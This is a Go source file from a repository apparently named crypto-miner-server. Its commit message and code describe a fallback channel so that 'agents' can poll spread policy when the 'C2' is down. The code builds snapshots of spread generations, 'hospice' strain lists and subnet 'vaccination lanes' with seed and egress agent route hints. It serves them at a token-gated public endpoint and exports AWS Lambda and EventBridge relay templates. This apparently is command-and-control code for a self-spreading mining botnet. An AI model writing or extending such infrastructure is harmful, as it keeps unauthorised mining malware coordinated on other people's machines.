Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
309 lines
9.0 KiB
Go
309 lines
9.0 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/spreadrouter"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// PolicySnapshot is the degraded-mode policy bundle agents poll or receive via EventBridge relay.
|
|
type PolicySnapshot struct {
|
|
GenesisVersion int `json:"genesis_version"`
|
|
HospiceList []string `json:"hospice_list"`
|
|
VaccinationLanes []PolicyVaccinationLane `json:"vaccination_lanes"`
|
|
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
|
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
|
GeneratedAt string `json:"generated_at,omitempty"`
|
|
}
|
|
|
|
// PolicyVaccinationLane maps a paused subnet to a Path Tracer vaccination route hint.
|
|
type PolicyVaccinationLane struct {
|
|
Subnet string `json:"subnet"`
|
|
Lane json.RawMessage `json:"lane,omitempty"`
|
|
}
|
|
|
|
// PolicyFanoutConfig supplies token, relay URL, and public base for snapshot URLs.
|
|
type PolicyFanoutConfig struct {
|
|
Token string
|
|
RelayURL string
|
|
PublicBaseURL func() string
|
|
}
|
|
|
|
func policySnapshotPollURL(cfg PolicyFanoutConfig) string {
|
|
token := strings.TrimSpace(cfg.Token)
|
|
if token == "" {
|
|
return ""
|
|
}
|
|
base := strings.TrimRight(strings.TrimSpace(cfgPublicBase(cfg)), "/")
|
|
if base == "" {
|
|
base = "http://127.0.0.1:8989"
|
|
}
|
|
return base + "/api/v1/public/policy-snapshot/" + token
|
|
}
|
|
|
|
func cfgPublicBase(cfg PolicyFanoutConfig) string {
|
|
if cfg.PublicBaseURL == nil {
|
|
return ""
|
|
}
|
|
return cfg.PublicBaseURL()
|
|
}
|
|
|
|
// BuildPolicySnapshot assembles genesis version, hospice strains, and vaccination lanes.
|
|
func BuildPolicySnapshot(db *dbpkg.Database, pathTracer *PathTracerHandler, cfg PolicyFanoutConfig) (PolicySnapshot, error) {
|
|
snap := PolicySnapshot{
|
|
EventBridgeRelayURL: strings.TrimSpace(cfg.RelayURL),
|
|
PolicyPollURL: policySnapshotPollURL(cfg),
|
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
|
}
|
|
if db == nil {
|
|
return snap, nil
|
|
}
|
|
gen, err := db.MaxSpreadGeneration()
|
|
if err != nil {
|
|
return snap, err
|
|
}
|
|
snap.GenesisVersion = gen
|
|
hospiceSet, err := db.HospiceStrainSet()
|
|
if err != nil {
|
|
return snap, err
|
|
}
|
|
for id := range hospiceSet {
|
|
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
|
snap.HospiceList = append(snap.HospiceList, id)
|
|
}
|
|
}
|
|
prefixes, err := db.ListPausedSubnetPrefixes()
|
|
if err != nil {
|
|
return snap, err
|
|
}
|
|
for _, prefix := range prefixes {
|
|
entry := PolicyVaccinationLane{Subnet: prefix}
|
|
if pathTracer != nil {
|
|
if hint := pathTracer.RecommendSpreadRoute(prefix, "", ""); hint != nil {
|
|
if raw, err := json.Marshal(toSpreadRouteHintDTO(hint)); err == nil {
|
|
entry.Lane = raw
|
|
}
|
|
}
|
|
}
|
|
snap.VaccinationLanes = append(snap.VaccinationLanes, entry)
|
|
}
|
|
return snap, nil
|
|
}
|
|
|
|
type spreadRouteHintDTO struct {
|
|
SeedAgentID string `json:"seed_agent_id,omitempty"`
|
|
EgressAgentID string `json:"egress_agent_id,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
Score float64 `json:"score,omitempty"`
|
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
|
}
|
|
|
|
func toSpreadRouteHintDTO(h *spreadrouter.SpreadRouteHint) spreadRouteHintDTO {
|
|
if h == nil {
|
|
return spreadRouteHintDTO{}
|
|
}
|
|
return spreadRouteHintDTO{
|
|
SeedAgentID: h.SeedAgentID,
|
|
EgressAgentID: h.EgressAgentID,
|
|
JoinLane: h.JoinLane,
|
|
Score: h.Score,
|
|
ClearanceLevel: h.ClearanceLevel,
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) SetPolicyFanoutConfig(token, relayURL string, publicBase func() string) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.mu.Lock()
|
|
h.policySnapshotToken = strings.TrimSpace(token)
|
|
h.policyEventBridgeRelayURL = strings.TrimSpace(relayURL)
|
|
h.policyPublicBaseURL = publicBase
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) policyFanoutConfigLocked() PolicyFanoutConfig {
|
|
return PolicyFanoutConfig{
|
|
Token: h.policySnapshotToken,
|
|
RelayURL: h.policyEventBridgeRelayURL,
|
|
PublicBaseURL: h.policyPublicBaseURL,
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) policyFanoutSpreadFields() map[string]interface{} {
|
|
if h == nil {
|
|
return nil
|
|
}
|
|
h.mu.RLock()
|
|
cfg := h.policyFanoutConfigLocked()
|
|
pollURL := policySnapshotPollURL(cfg)
|
|
relay := strings.TrimSpace(cfg.RelayURL)
|
|
h.mu.RUnlock()
|
|
if pollURL == "" && relay == "" {
|
|
return nil
|
|
}
|
|
out := map[string]interface{}{}
|
|
if pollURL != "" {
|
|
out["policy_snapshot_poll_url"] = pollURL
|
|
}
|
|
if relay != "" {
|
|
out["eventbridge_relay_url"] = relay
|
|
}
|
|
if h.db != nil {
|
|
if gen, err := h.db.MaxSpreadGeneration(); err == nil {
|
|
out["genesis_version"] = gen
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func (h *PublicHandler) BindPolicySnapshot(buildFn func() (PolicySnapshot, error), tokenFn func() string) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.policySnapshotFn = buildFn
|
|
h.policySnapshotTokenFn = tokenFn
|
|
}
|
|
|
|
// GET /api/v1/public/policy-snapshot/{token}
|
|
func (h *PublicHandler) PolicySnapshot(w http.ResponseWriter, r *http.Request) {
|
|
if h == nil || h.policySnapshotFn == nil || h.policySnapshotTokenFn == nil {
|
|
http.Error(w, "policy snapshot unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
want := strings.TrimSpace(h.policySnapshotTokenFn())
|
|
got := strings.TrimSpace(chi.URLParam(r, "token"))
|
|
if want == "" || got != want {
|
|
http.Error(w, "not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
snap, err := h.policySnapshotFn()
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, snap)
|
|
}
|
|
|
|
func (h *SpreadHandler) BindPolicyFanout(pathTracer *PathTracerHandler, cfgFn func() PolicyFanoutConfig) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.policyPathTracer = pathTracer
|
|
h.policyFanoutCfgFn = cfgFn
|
|
}
|
|
|
|
type policyFanoutExportRequest struct {
|
|
WebhookURL string `json:"webhook_url"`
|
|
RelayURL string `json:"relay_url"`
|
|
ServerURL string `json:"server_url"`
|
|
}
|
|
|
|
// GET /api/v1/spread/policy-fanout
|
|
func (h *SpreadHandler) GetPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
|
if h == nil || h.policyFanoutCfgFn == nil {
|
|
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
cfg := h.policyFanoutCfgFn()
|
|
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"snapshot": snap,
|
|
"poll_url": snap.PolicyPollURL,
|
|
"templates": policyFanoutTemplatePaths(),
|
|
"static_templates": "/spread/aws/",
|
|
"export_endpoint": "/api/v1/spread/policy-fanout-export",
|
|
"instructions": "Deploy CloudFormation or EventBridge rule + Lambda; Lambda POSTs snapshots to your relay URL or agents poll poll_url directly.",
|
|
})
|
|
}
|
|
|
|
// POST /api/v1/spread/policy-fanout-export
|
|
func (h *SpreadHandler) ExportPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
|
if h == nil || h.policyFanoutCfgFn == nil {
|
|
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
var req policyFanoutExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid json", http.StatusBadRequest)
|
|
return
|
|
}
|
|
cfg := h.policyFanoutCfgFn()
|
|
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
if serverURL == "" {
|
|
serverURL = strings.TrimRight(cfgPublicBase(cfg), "/")
|
|
}
|
|
if serverURL == "" {
|
|
serverURL = "http://127.0.0.1:8989"
|
|
}
|
|
webhookURL := strings.TrimSpace(req.WebhookURL)
|
|
if webhookURL == "" {
|
|
webhookURL = strings.TrimSpace(req.RelayURL)
|
|
}
|
|
if webhookURL == "" {
|
|
webhookURL = strings.TrimSpace(cfg.RelayURL)
|
|
}
|
|
pollURL := snap.PolicyPollURL
|
|
if pollURL == "" {
|
|
pollURL = policySnapshotPollURL(cfg)
|
|
}
|
|
snapJSON, _ := json.MarshalIndent(snap, "", " ")
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": serverURL,
|
|
"{{POLICY_POLL_URL}}": pollURL,
|
|
"{{WEBHOOK_URL}}": webhookURL,
|
|
"{{SNAPSHOT_JSON}}": string(snapJSON),
|
|
}
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "spread", "aws", "policy-fanout")
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, "aetherforge-policy-fanout.zip", data)
|
|
}
|
|
|
|
func policyFanoutTemplatePaths() []string {
|
|
return []string{
|
|
"templates/spread/aws/policy-fanout/cloudformation.json",
|
|
"templates/spread/aws/policy-fanout/eventbridge-rule.json",
|
|
"templates/spread/aws/policy-fanout/lambda/index.js",
|
|
"templates/spread/aws/policy-fanout/README.txt",
|
|
}
|
|
}
|
|
|
|
func buildFanoutBundleJSON(cfg PolicyFanoutConfig, snap PolicySnapshot) ([]byte, error) {
|
|
doc := map[string]interface{}{
|
|
"poll_url": snap.PolicyPollURL,
|
|
"eventbridge_relay_url": snap.EventBridgeRelayURL,
|
|
"snapshot": snap,
|
|
"token": strings.TrimSpace(cfg.Token),
|
|
}
|
|
return json.MarshalIndent(doc, "", " ")
|
|
}
|
|
|
|
func fanoutBundleJSONOrError(cfg PolicyFanoutConfig, snap PolicySnapshot) string {
|
|
raw, err := buildFanoutBundleJSON(cfg, snap)
|
|
if err != nil {
|
|
return fmt.Sprintf(`{"error":%q}`, err.Error())
|
|
}
|
|
return string(raw)
|
|
}
|